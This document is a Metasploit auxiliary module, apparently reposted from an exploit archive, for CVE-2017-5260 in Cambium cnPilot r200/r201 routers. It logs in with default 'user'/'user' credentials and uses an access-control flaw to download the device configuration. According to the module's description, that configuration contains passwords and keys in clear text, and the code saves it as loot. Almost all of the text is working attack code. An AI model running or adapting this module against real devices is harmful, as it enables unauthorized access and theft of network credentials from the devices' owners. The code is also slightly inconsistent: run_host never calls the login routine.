Exploit for Cambium CnPilot R200/r201 Login Scanner And Config Dump CVE-2017-5260

## https://sploitus.com/exploit?id=PACKETSTORM:181024
##  
# This module requires Metasploit: https://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Auxiliary  
include Msf::Auxiliary::CNPILOT  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Cambium cnPilot r200/r201 Login Scanner and Config Dump',  
'Description' => %{  
This module scans for Cambium cnPilot r200/r201 management login  
portal(s), attempts to identify valid credentials, and dump device  
configuration.  
  
The device has at least two (2) users - admin and user. Due to an  
access control vulnerability, it is possible for 'user' account to access full  
device config. All information, including passwords, and keys, is stored  
insecurely, in clear-text form, thus allowing unauthorized admin access to any  
user.  
},  
'Author' =>  
[  
'Karn Ganeshen <KarnGaneshen[at]gmail.com>'  
],  
'References' =>  
[  
['CVE', '2017-5260'],  
['URL', 'https://www.rapid7.com/blog/post/2017/12/19/r7-2017-25-cambium-epmp-and-cnpilot-multiple-vulnerabilities/']  
],  
'License' => MSF_LICENSE  
)  
)  
  
register_options(  
[  
OptInt.new('TIMEOUT', [true, 'HTTP connection timeout', 10]),  
Opt::RPORT(80), # Application may run on a different port too. Change port accordingly.  
OptString.new('USERNAME', [false, 'A specific username to authenticate as', 'user']),  
OptString.new('PASSWORD', [false, 'A specific password to authenticate with', 'user'])  
], self.class  
)  
end  
  
def run_host(ip)  
unless is_app_cnpilot?  
return  
end  
end  
  
#  
# Login & initiate dump_config  
#  
  
def run_login  
each_user_pass do |user, pass|  
cookie = do_login(user, pass)  
if cookie == 'skip'  
# do nothing  
else  
dump_config(cookie)  
end  
end  
end  
  
#  
# Dump device configuration  
#  
  
def dump_config(the_cookie)  
res = send_request_cgi(  
{  
'uri' => '/goform/down_cfg_file',  
'method' => 'GET',  
'cookie' => the_cookie,  
'headers' => {  
'Accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'  
}  
}  
)  
  
if res && res.code == 200 && res.headers['content-disposition']  
print_status("#{rhost}:#{rport} - dumping device configuration")  
print_good("#{rhost}:#{rport} - Configfile.cfg retrieved successfully!")  
loot_name = 'Configfile.cfg'  
loot_type = 'text/plain'  
loot_desc = 'Cambium cnPilot Config'  
path = store_loot(loot_name, loot_type, datastore['RHOST'], res.body, loot_desc)  
print_good("#{rhost}:#{rport} - File saved in: #{path}")  
else  
print_error("#{rhost}:#{rport} - Failed to retrieve config. Set a higher HTTPCLIENTTIMEOUT and try again.")  
return  
end  
end  
end